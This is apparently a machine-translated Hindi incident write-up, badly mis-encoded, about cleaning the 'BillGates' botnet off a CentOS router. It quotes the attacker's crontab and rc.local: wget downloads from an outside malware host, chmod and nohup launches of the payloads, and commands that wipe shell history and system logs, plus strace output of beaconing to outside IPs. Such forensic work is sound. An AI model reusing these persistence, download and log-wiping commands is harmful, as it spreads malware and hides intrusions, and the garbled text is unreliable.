рд▓рд┐рдирдХреНрд╕ рдмреЛрдЯрдиреЗрдЯ "рдмрд┐рд▓рдЧреЗрдЯреНрд╕" рдХреА рдЦреЛрдЬ

рдЫрд╡рд┐

рдореИрдВрдиреЗ рдХрд▓ lfatal1ty рд▓рд┐рдЦрд╛, рдпрд╣ рдХрд╣рддреЗ рд╣реБрдП рдХрд┐ CentOS рдХреЗ рд╕рд╛рде x86- рдЖрдзрд╛рд░рд┐рдд рд╣реЛрдо рд░рд╛рдЙрдЯрд░ рдЕрдЬреАрдм рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдЧрд┐рдЧрд╛рдмрд┐рдЯ рдХреЗ рддрд╣рдд рдПрдХ рдЪреИрдирд▓ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдХреБрдЫ рдЕрдЬреАрдм "рдПрдЯреАрдбреАрдбреА" рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЛ рд▓реЛрдб рдХрд░рддреА рд╣реИред рдореИрдВрдиреЗ рдЕрдВрджрд░ рдЖрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдФрд░ рджреЗрдЦрд╛ рдХрд┐ рд╡рд╣рд╛рдБ рдХреНрдпрд╛ рдЪрд▓ рд░рд╣рд╛ рдерд╛, рдФрд░ рддреБрд░рдВрдд рдорд╣рд╕реВрд╕ рдХрд┐рдпрд╛ рдХрд┐ рдХрд┐рд╕реА рдиреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдкрдирд╛ рд░рд╛рд╕реНрддрд╛ рдмрдирд╛ рд▓рд┐рдпрд╛ рдерд╛ рдФрд░ рдЙрд╕рдХреЗ рд╕рд╛рде рд╣рд░ рддрд░рд╣ рдХреА рдЕрд╢реНрд▓реАрд▓ рд╣рд░рдХрддреЗрдВ рдХрд░ рд░рд╣рд╛ рдерд╛ред рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ, wget рдбреЛрдореЗрди dgnfd564sdf.com рдкрд░ рд▓рдЯрдХрд╛ рд╣реБрдЖ рд╣реИ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ atddd , cupdd , cupddh , ksapdd , kysapdd , skysapdd рдФрд░ xfsdxd рдЖрджрд┐ рд╕реЗ рд╢реБрд░реВ рд╣реБрдИрдВ :
рдЫрд┐рдкрд╛ рд╣реБрдЖ рдкрд╛рда
root 4741 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/sksapd root 4753 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx root 4756 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd root 4757 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/kysapd root 4760 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/ksapd root 4764 0.0 0.0 41576 2268 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/atdd root 4767 0.0 0.0 41576 2264 ? S 21:00 0:00 wget http://www.dgnfd564sdf.com:8080/skysapd 

рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдореИрдВрдиреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╕реЛрдЪрд╛ рдерд╛

рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдореИрдВ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЪрдврд╝ рдЧрдпрд╛ рдХрд┐ рдХреНрдпрд╛ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХрд┐рддрдиреА рдЧрдВрднреАрд░рддрд╛ рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░ рд░рд╣рд╛ рдерд╛ред рдкрд╣рд▓реА рдЪреАрдЬрд╝ рдЬреЛ рдореБрдЭреЗ рдмрд╛рд╣рд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реБрдИ, рд╡рд╣ рдереА /etc/rc.localред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдерд╛:
 cd /etc;./ksapdd cd /etc;./kysapdd cd /etc;./atddd cd /etc;./ksapdd cd /etc;./skysapdd cd /etc;./xfsdxd 

"рд╣рдореНрдо, рдареАрдХ рд╣реИ," рдореИрдВрдиреЗ рд╕реЛрдЪрд╛ред рдЬрдбрд╝ crontab рдореЗрдВ рдЙрдкрдпреЛрдЧреА :
рдЫрд┐рдкрд╛ рд╣реБрдЖ рдкрд╛рда
 # crontab -e # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), тАж */1 * * * * killall -9 nfsd4 тАж # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. тАж */1 * * * * killall -9 profild.key тАж # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system тАж */1 * * * * killall -9 DDosl */1 * * * * killall -9 lengchao32 */1 * * * * killall -9 b26 */1 * * * * killall -9 codelove */1 * * * * killall -9 32 */1 * * * * killall -9 64 */1 * * * * killall -9 new6 */1 * * * * killall -9 new4 */1 * * * * killall -9 node24 */1 * * * * killall -9 freeBSD */99 * * * * killall -9 kysapd */98 * * * * killall -9 atdd */97 * * * * killall -9 kysapd */96 * * * * killall -9 skysapd */95 * * * * killall -9 xfsdx */94 * * * * killall -9 ksapd тАж # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any').# тАж */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd */120 * * * * cd /root;rm -rf dir nohup.out тАж # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line тАж */360 * * * * cd /etc;rm -rf dir atdd */360 * * * * cd /etc;rm -rf dir ksapd */360 * * * * cd /etc;rm -rf dir kysapd */360 * * * * cd /etc;rm -rf dir skysapd */360 * * * * cd /etc;rm -rf dir sksapd */360 * * * * cd /etc;rm -rf dir xfsdx */1 * * * * cd /etc;rm -rf dir cupsdd.* */1 * * * * cd /etc;rm -rf dir atdd.* */1 * * * * cd /etc;rm -rf dir ksapd.* */1 * * * * cd /etc;rm -rf dir kysapd.* */1 * * * * cd /etc;rm -rf dir skysapd.* */1 * * * * cd /etc;rm -rf dir sksapd.* */1 * * * * cd /etc;rm -rf dir xfsdx.* */1 * * * * chmod 7777 /etc/atdd */1 * * * * chmod 7777 /etc/cupsdd */1 * * * * chmod 7777 /etc/ksapd */1 * * * * chmod 7777 /etc/kysapd */1 * * * * chmod 7777 /etc/skysapd */1 * * * * chmod 7777 /etc/sksapd */1 * * * * chmod 7777 /etc/xfsdx */99 * * * * nohup /etc/cupsdd > /dev/null 2>&1& */100 * * * * nohup /etc/kysapd > /dev/null 2>&1& */99 * * * * nohup /etc/atdd > /dev/null 2>&1& тАж # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line тАж */98 * * * * nohup /etc/kysapd > /dev/null 2>&1& */97 * * * * nohup /etc/skysapd > /dev/null 2>&1& */96 * * * * nohup /etc/xfsdx > /dev/null 2>&1& */95 * * * * nohup /etc/ksapd > /dev/null 2>&1& */1 * * * * echo "unset MAILCHECK" >> /etc/profile */1 * * * * rm -rf /root/.bash_history */1 * * * * touch /root/.bash_history */1 * * * * history -r */1 * * * * cd /var/log > dmesg */1 * * * * cd /var/log > auth.log */1 * * * * cd /var/log > alternatives.log */1 * * * * cd /var/log > boot.log */1 * * * * cd /var/log > btmp */1 * * * * cd /var/log > cron тАж тАж */1 * * * * cd /var/log > cups */1 * * * * cd /var/log > daemon.log */1 * * * * cd /var/log > dpkg.log */1 * * * * cd /var/log > faillog */1 * * * * cd /var/log > kern.log */1 * * * * cd /var/log > lastlog */1 * * * * cd /var/log > maillog */1 * * * * cd /var/log > user.log */1 * * * * cd /var/log > Xorg.x.log */1 * * * * cd /var/log > anaconda.log */1 * * * * cd /var/log > yum.log */1 * * * * cd /var/log > secure */1 * * * * cd /var/log > wtmp */1 * * * * cd /var/log > utmp */1 * * * * cd /var/log > messages */1 * * * * cd /var/log > spooler */1 * * * * cd /var/log > sudolog */1 * * * * cd /var/log > aculog */1 * * * * cd /var/log > access-log */1 * * * * cd /root > .bash_history */1 * * * * history -c тАж # Edit this file to introduce tasks to be run by cron. # # Edit this file to introduce tasks to be run by cron. # Edit this file to introduce tasks to be run by cron. 
рдУрд╣ред рдпрд╣ рдЖрдХрд╛рд░ рдореЗрдВ 183KB, 4036 рд▓рд╛рдЗрдиреЗрдВ рдереАред рдХреНрдпрд╛ рдЖрдкрдиреЗ рдХрднреА рдХреНрд░реЙрд╕реНрдЯреИрдм рдХрд╛ рдЖрдХрд╛рд░ 183KB рджреЗрдЦрд╛ рд╣реИ? рдореИрдВрдиреЗ рджреЗрдЦрд╛ рд╣реИред
рдЬрдм рддрдХ рдореИрдВ рд╕рд░реНрд╡рд░ рдкрд░ рдЧрдпрд╛, рддрдм рддрдХ рдпреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХреБрдЫ рднреА рдирд╣реАрдВ рдХрд░ рд░рд╣реА рдереАрдВ (рдЙрдиреНрд╣реЛрдВрдиреЗ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЛ рд▓реЛрдб рдирд╣реАрдВ рдХрд┐рдпрд╛, рдЙрдиреНрд╣реЛрдВрдиреЗ рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛)ред рдореИрдВрдиреЗ рдХреНрд░реЛрди рдХреЛ рд░реЛрдХрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рддрд╛рдХрд┐ рдЗрди рдирд┐рдпрдореЛрдВ рдХрд╛ рдкрд╛рд▓рди рди рдХрд┐рдпрд╛ рдЬрд╛рдП, рдФрд░ рдЕрдм рддрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдорд╛рд░рдирд╛ рдирд╣реАрдВ рд╣реИред рдореИрдВрдиреЗ рдЙрди рдкрд░ рдзрд╛рд░рд╛ рд▓рдЧрд╛рдИ :
рдЫрд┐рдкрд╛ рд╣реБрдЖ рдкрд╛рда
 [root@Fatalsrv etc]# strace -p 3312 Process 3312 attached - interrupt to quit [ Process PID=3312 runs in 32 bit mode. ] restart_syscall(<... resuming interrupted call ...>) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0 fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress) fcntl64(3, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK) fcntl64(3, F_SETFL, O_RDWR) = 0 setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0 setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0 setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0 send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused) close(3) = 0 nanosleep({15, 0}, NULL) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0 fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in progress) fcntl64(3, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK) fcntl64(3, F_SETFL, O_RDWR) = 0 setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0 setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0 setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0 send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = -1 ECONNREFUSED (Connection refused) close(3) = 0 nanosleep({15, 0}, [root@Fatalsrv etc]# strace -p 3268 Process 3268 attached - interrupt to quit [ Process PID=3268 runs in 32 bit mode. ] recv(3, 0xfff19338, 4, 0) = -1 ECONNRESET (Connection reset by peer) close(3) = 0 futex(0x816e8a8, FUTEX_WAKE, 1) = 1 futex(0x816e8a4, FUTEX_WAKE, 1) = 1 nanosleep({15, 0}, NULL) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0 fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(3, {sa_family=AF_INET, sin_port=htons(10991), sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRESS (Operation now in progress) fcntl64(3, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK) fcntl64(3, F_SETFL, O_RDWR) = 0 setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0 setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0 setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0 send(3, "R\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Linux 2.6.32-35"..., 401, 0) = 401 setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0 recv(3, "\4\0\0\0", 4, 0) = 4 setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0 send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 27, 0) = 27 setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0 recv(3, "\4\0\0\0", 4, 0) = 4 setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0 send(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0", 27, 0) = 27 setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0 recv(3, ^C <unfinished ...> Process 3268 detached 

рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдиреЗ рд▓рдЧрднрдЧ рдХреБрдЫ рднреА рдирд╣реАрдВ рдХрд┐рдпрд╛, рдХреЗрд╡рд▓ рдХрднреА-рдХрднреА рдорд╢реАрди рд╕реЗ рдПрдХрддреНрд░ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рднреЗрдЬрд╛ред рдореИрдВрдиреЗ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдорд╛рд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛, рдПрдХ рд╕рдВрдХреЗрдд рд╕рдВрдХреЗрдд рдХреЗ рд╕рд╛рдеред рдореИрдВрдиреЗ crontab рдХреЛ рд╕рд╛рдл рдХрд┐рдпрд╛, /etc/rc.local рдХреЛ рд╕рд╛рдл рдХрд┐рдпрд╛, рдЗрди рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ / etc рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ (рд╡реИрд╕реЗ, рдЙрди рд╕рднреА рдХреЗ рдкрд╛рд╕ SUID рдмрд┐рдЯ рдерд╛, рдФрд░ рдПрдХ рдХреЗ рдкрд╛рд╕ рдПрдХ Immunity рдмрд┐рдЯ рдереА, рдФрд░ рдпрджрд┐ рдЖрдк рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдпрд╛ рдпрд╛рдж рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдкрд╣рд▓реЗ рдЖрдк рд▓рдВрдмреЗ рд╕рдордп рдХреЗ рд▓рд┐рдП рдкрд╣реЗрд▓реА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕рдХреЗ рд╕рд╛рде рдХреБрдЫ рднреА рдХреНрдпреЛрдВ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: рди рддреЛ рд╣рдЯрд╛рдПрдВ рдФрд░ рди рд╣реА рдмрджрд▓реЗрдВ), рдореИрдВрдиреЗ 422 рд▓рд╛рдЗрдиреЛрдВ рд╕реЗ рд╕рдлрд╛рдИ / рдЖрджрд┐ / рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХреА:
 unset MAILCHECK 
рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд▓рдЧрднрдЧ 7 рдШрдВрдЯреЗ рддрдХ рдмреЙрдЯрдиреЗрдЯ рдерд╛ред рдЗрддрдирд╛ рдирд╣реАрдВ, рд▓реЗрдХрд┐рди рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИ, рдореИрдВрдиреЗ рд╕рднреА рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реНрд╡рдпрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ред

рдЕрдм рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рд╕рд┐рд╕реНрдЯрдо рдлрд╛рдЗрд▓ рдмрджрд▓ рджреА рдЧрдИ рд╣реИред CentOS рдореЗрдВ, рдпрд╣ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ:
 rpm -Va 

рдЗрд╕ рдХрдорд╛рдВрдб рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ, рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдореБрдЭреЗ рдкреНрд░рд╕рдиреНрди рдХрд░рддрд╛ рд╣реИ:
рдЫрд┐рдкрд╛ рд╣реБрдЖ рдкрд╛рда
 [root@Fatalsrv ~]# rpm -Va S.5....T. c /etc/ppp/chap-secrets S.5....T. c /etc/issue S.5....T. c /etc/crontab S.5....T. c /etc/nagiosgraph/access.conf S.5....T. c /etc/nagiosgraph/nagiosgraph.conf .M....... /usr/lib/nagiosgraph/cgi-bin/show.cgi .M....... /usr/lib/nagiosgraph/cgi-bin/showconfig.cgi .M....... /usr/lib/nagiosgraph/cgi-bin/showgraph.cgi .M....... /usr/lib/nagiosgraph/cgi-bin/showgroup.cgi .M....... /usr/lib/nagiosgraph/cgi-bin/showhost.cgi .M....... /usr/lib/nagiosgraph/cgi-bin/showservice.cgi .M....... /usr/lib/nagiosgraph/cgi-bin/testcolor.cgi .M....... /usr/share/nagiosgraph/htdocs/nagiosgraph.css .M....... /usr/share/nagiosgraph/htdocs/nagiosgraph.js S.5....T. /var/log/nagiosgraph/nagiosgraph-cgi.log S.5....T. /var/log/nagiosgraph/nagiosgraph.log missing /usr/java/jre1.7.0_40/lib/install.jar ....L.... /lib/modules/2.6.32-358.2.1.el6.x86_64/build S.5....T. c /etc/tor/torrc .M....... / .......T. c /etc/ppp/options.pptpd S.5....T. c /etc/pptpd.conf ....L.... c /etc/pam.d/fingerprint-auth ....L.... c /etc/pam.d/password-auth ....L.... c /etc/pam.d/smartcard-auth ....L.... c /etc/pam.d/system-auth S.5....T. c /etc/rsyslog.conf S.5....T. c /etc/rc.d/rc.local ..5....T. c /etc/sysctl.conf S.5....T. c /etc/vsftpd/vsftpd.conf .M....... /var/ftp/pub ..5....T. c /etc/sysconfig/PlexMediaServer .......T. /usr/lib/plexmediaserver/start.sh S.5....T. c /etc/sysconfig/lm_sensors S.5....T. c /etc/php.ini S.5....T. c /etc/httpd/conf/httpd.conf .......T. /etc/rc.d/init.d/deluge-daemon S.5....T. c /etc/cacti/db.php S.5....T. c /etc/cron.d/cacti S.5....T. c /etc/httpd/conf.d/cacti.conf .M....... /usr/share/cacti .M....... /usr/share/cacti/about.php .M....... /usr/share/cacti/auth_changepassword.php .M....... /usr/share/cacti/auth_login.php .M....... /usr/share/cacti/cdef.php .M....... /usr/share/cacti/cmd.php .M....... /usr/share/cacti/color.php .M....... /usr/share/cacti/data_input.php .M....... /usr/share/cacti/data_queries.php .M....... /usr/share/cacti/data_sources.php .M....... /usr/share/cacti/data_templates.php .M....... /usr/share/cacti/gprint_presets.php .M....... /usr/share/cacti/graph.php .M....... /usr/share/cacti/graph_image.php .M....... /usr/share/cacti/graph_settings.php .M....... /usr/share/cacti/graph_templates.php .M....... /usr/share/cacti/graph_templates_inputs.php .M....... /usr/share/cacti/graph_templates_items.php .M....... /usr/share/cacti/graph_view.php .M....... /usr/share/cacti/graph_xport.php .M....... /usr/share/cacti/graphs.php .M....... /usr/share/cacti/graphs_items.php .M....... /usr/share/cacti/graphs_new.php .M....... /usr/share/cacti/host.php .M....... /usr/share/cacti/host_templates.php .M....... /usr/share/cacti/images .M....... /usr/share/cacti/images/arrow.gif .M....... /usr/share/cacti/images/auth_deny.gif .M....... /usr/share/cacti/images/auth_login.gif .M....... /usr/share/cacti/images/auth_logout.gif .M....... /usr/share/cacti/images/button_add.gif .M....... /usr/share/cacti/images/button_cancel.gif .M....... /usr/share/cacti/images/button_cancel2.gif .M....... /usr/share/cacti/images/button_clear.gif .M....... /usr/share/cacti/images/button_colapse_all.gif .M....... /usr/share/cacti/images/button_create.gif .M....... /usr/share/cacti/images/button_default.gif .M....... /usr/share/cacti/images/button_delete.gif .M....... /usr/share/cacti/images/button_expand_all.gif .M....... /usr/share/cacti/images/button_export.gif .M....... /usr/share/cacti/images/button_go.gif .M....... /usr/share/cacti/images/button_help.gif .M....... /usr/share/cacti/images/button_import.gif .M....... /usr/share/cacti/images/button_no.gif .M....... /usr/share/cacti/images/button_purge.gif .M....... /usr/share/cacti/images/button_refresh.gif .M....... /usr/share/cacti/images/button_save.gif .M....... /usr/share/cacti/images/button_view.gif .M....... /usr/share/cacti/images/button_yes.gif .M....... /usr/share/cacti/images/cacti_about_logo.gif .M....... /usr/share/cacti/images/cacti_backdrop.gif .M....... /usr/share/cacti/images/cacti_backdrop2.gif .M....... /usr/share/cacti/images/cacti_logo.gif .M....... /usr/share/cacti/images/calendar.gif .M....... /usr/share/cacti/images/delete_icon.gif .M....... /usr/share/cacti/images/delete_icon_large.gif .M....... /usr/share/cacti/images/disable_icon.png .M....... /usr/share/cacti/images/enable_icon.png .M....... /usr/share/cacti/images/enable_icon_disabled.png .M....... /usr/share/cacti/images/favicon.ico .M....... /usr/share/cacti/images/graph_page_top.gif .M....... /usr/share/cacti/images/graph_properties.gif .M....... /usr/share/cacti/images/graph_query.png .M....... /usr/share/cacti/images/graph_zoom.gif .M....... /usr/share/cacti/images/hide.gif .M....... /usr/share/cacti/images/install_icon.png .M....... /usr/share/cacti/images/install_icon_disabled.png .M....... /usr/share/cacti/images/left_border.gif .M....... /usr/share/cacti/images/menu_line.gif .M....... /usr/share/cacti/images/menuarrow.gif .M....... /usr/share/cacti/images/move_down.gif .M....... /usr/share/cacti/images/move_left.gif .M....... /usr/share/cacti/images/move_right.gif .M....... /usr/share/cacti/images/move_up.gif .M....... /usr/share/cacti/images/reload_icon_small.gif .M....... /usr/share/cacti/images/shadow.gif .M....... /usr/share/cacti/images/shadow_gray.gif .M....... /usr/share/cacti/images/show.gif .M....... /usr/share/cacti/images/tab_cacti.gif .M....... /usr/share/cacti/images/tab_console.gif .M....... /usr/share/cacti/images/tab_console_down.gif .M....... /usr/share/cacti/images/tab_graphs.gif .M....... /usr/share/cacti/images/tab_graphs_down.gif .M....... /usr/share/cacti/images/tab_mode_list.gif .M....... /usr/share/cacti/images/tab_mode_list_down.gif .M....... /usr/share/cacti/images/tab_mode_preview.gif .M....... /usr/share/cacti/images/tab_mode_preview_down.gif .M....... /usr/share/cacti/images/tab_mode_tree.gif .M....... /usr/share/cacti/images/tab_mode_tree_down.gif .M....... /usr/share/cacti/images/tab_settings.gif .M....... /usr/share/cacti/images/tab_settings_down.gif .M....... /usr/share/cacti/images/transparent_line.gif .M....... /usr/share/cacti/images/uninstall_icon.gif .M....... /usr/share/cacti/images/view_none.gif .M....... /usr/share/cacti/include .M....... /usr/share/cacti/include/auth.php .M....... /usr/share/cacti/include/bottom_footer.php .M....... /usr/share/cacti/include/global.php .M....... /usr/share/cacti/include/global_arrays.php .M....... /usr/share/cacti/include/global_constants.php .M....... /usr/share/cacti/include/global_form.php .M....... /usr/share/cacti/include/global_settings.php .M....... /usr/share/cacti/include/jscalendar .M....... /usr/share/cacti/include/jscalendar/calendar-setup.js .M....... /usr/share/cacti/include/jscalendar/calendar.js .M....... /usr/share/cacti/include/jscalendar/lang .M....... /usr/share/cacti/include/jscalendar/lang/calendar-af.js .M....... 